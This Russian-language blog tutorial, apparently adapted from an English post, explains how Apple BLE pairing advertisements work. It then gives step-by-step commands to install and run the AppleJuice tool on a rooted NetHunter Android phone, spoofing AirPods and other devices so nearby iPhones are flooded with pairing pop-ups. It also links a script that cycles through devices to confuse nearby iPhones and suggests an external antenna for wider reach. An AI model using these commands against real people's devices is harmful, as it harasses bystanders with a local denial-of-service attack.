  <p id="fK3m">Нам нужно Android-устройство с правами root и установленным пользовательским ядром NetHunter или любым другим ядром, которое поддерживает встроенный Bluetooth-чип или любой внешний Bluetooth-адаптер. В случае использования внешнего Bluetooth-адаптера необходимо иметь адаптер OTG для подключения его к смартфону. И не забудьте о целевом iPhone.</p>
  <p id="SkJY">В моем случае я буду использовать OnePlus 7T Pro с встроенным чипом Bluetooth и внешним Bluetooth-адаптером.</p>
  <p id="h7vz"></p>
  <h2 id="lSME">Как это работает </h2>
  <p id="81L7">Сопряжение устройств через Bluetooth Low Energy (<a href="https://en.wikipedia.org/wiki/Bluetooth_Low_Energy" target="_blank">BLE</a>) на устройствах Apple осуществляется с использованием пакетов рекламы (ADV) и следует определенному процессу для установления безопасного соединения между двумя устройствами. Вот общий обзор того, как это происходит:</p>
  <ol id="OGxn">
    <li id="lAfg"><strong>Реклама (Advertising)</strong>: Гаджет-устройство, такое как AirTags, AirPods, Apple TV и т. д., рекламирует себя, транслируя ADV-пакеты. Эти пакеты содержат важную информацию о них, такую как название, услуги и идентификатор.</li>
    <li id="SbNr"><strong>Сканирование (Scanning)</strong>: iPhone сканирует близлежащие устройства BLE, прослушивая ADV-пакеты. Когда он обнаруживает ADV-пакет от таких устройств, он собирает информацию и выводит уведомление.</li>
    <li id="bRKE"><strong>Установление соединения (Establishing a Connection)</strong>: Когда iPhone решает соединиться с устройством (например, пользователь выбирает устройство для сопряжения), он отправляет запрос на соединение. Это устанавливает безопасное и зашифрованное соединение между двумя устройствами.</li>
  </ol>
  <p id="d7Wm">Это стандартный процесс сопряжения устройств. Однако проблема заключается в том, что любое устройство Apple в окружающей среде получает такое уведомление о сопряжении. Именно поэтому мы можем имитировать наше Android-устройство для отправки этих сообщений о сопряжении и заставить устройства iOS в окрестностях поверить, что мы, например, AirPods. В результате этого это может рассматриваться как локальная атака Denial of Service (DoS).</p>
  <p id="ckgk"></p>
  <h2 id="7poj">Установка</h2>
  <p id="Wsvt">Мы начнем с процесса установки AppleJuice, затем активируем наше устройство Bluetooth и протестируем инструмент.</p>
  <p id="JYon">Давайте перейдем к процессу установки, доступному на GitHub.</p>
  <p id="x87c">Откройте приложение <code>NetHunter Terminal</code> и клонируйте проект:</p>
  <p id="A85P"><code>git clone <a href="https://github.com/ECTO-1A/AppleJuice.git" target="_blank">https://github.com/ECTO-1A/AppleJuice.git</a> &amp;&amp; cd ./AppleJuice</code></p>
  <p id="seXB">Установите необходимые зависимости:</p>
  <p id="6YCd"><code>sudo apt update &amp;&amp; sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev</code></p>
  <p id="HubL">Установите pybluez и pycrypto:</p>
  <p id="UebZ"><code>pip3 install git+<a href="https://github.com/pybluez/pybluez.git#egg=pybluez" target="_blank">https://github.com/pybluez/pybluez.git#egg=pybluez</a></code></p>
  <p id="G0ri"><code>pip3 install pycryptodome</code></p>
  <p id="yUQn">Установите необходимое для AppleJuice:</p>
  <p id="loIl"><code>pip3 install -r requirements.txt</code></p>
  <p id="unm5">Установка должна быть успешно завершена. Теперь нам нужно активировать наше устройство Bluetooth. Откройте приложение NetHunter, перейдите в раздел &quot;Bluetooth Arsenal&quot; и запустите Bluebinder, Dbus Services, Bluetooth Service и Interface. В случае, если интерфейс не был инициализирован правильно, нажмите на значок трех точек в правом верхнем углу и убедитесь, что запущены функции &quot;Update&quot; и &quot;Setup&quot;.</p>
  <figure id="mXiA" class="m_retina" data-caption-align="center">
    <img src="https://img2.teletype.in/files/97/81/9781168f-0986-4385-8bdd-7fffbd5499cb.jpeg" width="467" />
    <figcaption>Активация интерфейса Bluetooth через Bluetooth Arsenal</figcaption>
  </figure>
  <p id="4ZyV"></p>
  <p id="nOuY">Чтобы убедиться, что ваш адаптер обнаружен, используйте команду <code>hcitool </code>для перечисления доступных адаптеров из приложения <code>NetHunter Terminal</code> с помощью следующей команды:</p>
  <p id="lS3u"><code>hcitool dev </code></p>
  <p id="ABsH">В результате были обнаружены два адаптера: внутренний (hci0) и внешний (hci1), как показано на следующем скриншоте.</p>
  <figure id="dffU" class="m_retina">
    <img src="https://img1.teletype.in/files/8a/6e/8a6ea316-4471-4b15-ad20-faa691cb6eb0.jpeg" width="467" />
    <figcaption>Список подключенных Bluetooth-адаптеров</figcaption>
  </figure>
  <p id="Khza">Если вы используете внутренний адаптер, то вам следует работать с интерфейсом <code>hci0</code>. Если у вас есть внешний адаптер, то вам нужно будет работать с интерфейсом <code>hci1</code>. По умолчанию AppleJuice использует интерфейс hci0. Если вы хотите изменить это, вам нужно отредактировать скрипт <code>app.py</code> и присвоить правильный интерфейс (1) переменной <code>dev_id</code>, как показано на Рисунке 3.</p>
  <figure id="AMDM" class="m_retina">
    <img src="https://img2.teletype.in/files/16/bb/16bb3cd5-1096-45bf-ba08-8ed7bc9266f5.jpeg" width="467" />
    <figcaption>Изменение значения по умолчанию для устройства hci</figcaption>
  </figure>
  <p id="BXtN">Вернитесь в каталог AppleJuice и предоставьте исполняемое разрешение для скрипта app.py следующей командой:</p>
  <pre id="5at2">chmod +x app.py</pre>
  <p id="1dev"></p>
  <h2 id="FUQ5">Использование</h2>
  <p id="nJ5I">Запустите скрипт, чтобы перечислить доступные устройства, которые вы можете подделать:</p>
  <p id="dvlw"><code>python3 app.py</code></p>
  <figure id="CE7a" class="m_retina">
    <img src="https://img4.teletype.in/files/bf/f4/bff495af-60eb-4e12-a9ff-261c2dbe5ff0.jpeg" width="467" />
    <figcaption>Список устройств, которые можно подделать</figcaption>
  </figure>
  <p id="SbLS">Для выбора одной из опций используйте аргумент <code>-d</code> с номером присвоенного гаджета. В команде ниже я подделаю AirPods, используя значение 1.</p>
  <p id="OxrE"><code>python3 app.py -d 1</code></p>
  <p id="6pUh">В результате любой iPhone или iPad с включенным Bluetooth в вашей близости получит запрос на сопряжение, как показано на следующем скриншоте. Если вы нажмете &quot;Подключить&quot;, то никаких дополнительных действий не последует, что означает, что для устройств iOS нет никакого вреда.</p>
  <figure id="e4Gu" class="m_retina">
    <img src="https://img4.teletype.in/files/be/2d/be2d555d-3cb3-44b9-939a-d2235f86736d.jpeg" width="1012" />
    <figcaption>Подделка AirPods на iPhone</figcaption>
  </figure>
  <p id="wKqY">Кроме того, я создал быстрый скрипт на Python, который будет каждые 5 секунд перебирать все доступные устройства, чтобы запутать ближайшие устройства iOS. Вы можете посмотреть демонстрационное видео в начале блога. Скрипт доступен на <a href="https://github.com/Lercas/dos_apple" target="_blank">GitHub</a>.</p>
  <p id="H4nP"></p>
  <h2 id="Ex91">Предотвращение</h2>
  <p id="gGhK">Нет многого, что можно сделать с протоколом оповещения, который по умолчанию включен, поэтому единственное, что вы можете сделать, это отключать Bluetooth, когда вам он не нужен.</p>
  <p id="1F0j"></p>
  <h2 id="ZUSW">Вывод</h2>
  <p id="AkhU"></p>
  <p id="rtDO">В ходе моих тестов мне не удалось подделать все устройства из списка, возможно, возникли какие-то ошибки. Когда я решал отправить запрос на сопряжение для другого устройства, целевой iPhone все равно получал запрос от предыдущего выбранного устройства. Однако это не является большой проблемой. Эти уведомления отображаются даже на заблокированном экране.</p>
  <p id="ZVfM">У внутренних Bluetooth-чипов есть определенные ограничения по дальности действия, поэтому использование внешнего адаптера даже с внешней и съемной антенной может обеспечить еще более широкое покрытие области для отображения всплывающих уведомлений.</p>
  <p id="d1jP">Также я прикрепляю оригинальный пост, чтобы вы могли прочесть оригинал данной статьи, без переработок, данный эксперимент я реализую на Xiaomi mi 9t и сделаю обновления на своём GitHub</p>
  <p id="HsxN">В результате отправка этих запросов не наносит вреда устройствам iOS, но они могут легко раздражаться, так как это можно рассматривать как локальную атаку отказа в обслуживании (DoS).</p>
  <p id="AUGH">Если вы являетесь поклонником Flipper Zero, вы также можете протестировать эту шутку, следуя инструкции &quot;<a href="https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/" target="_blank">Annoying Apple Fans: The Flipper Zero Bluetooth Prank Revealed</a>&quot;.</p>

]]></content:encoded></item></channel></rss>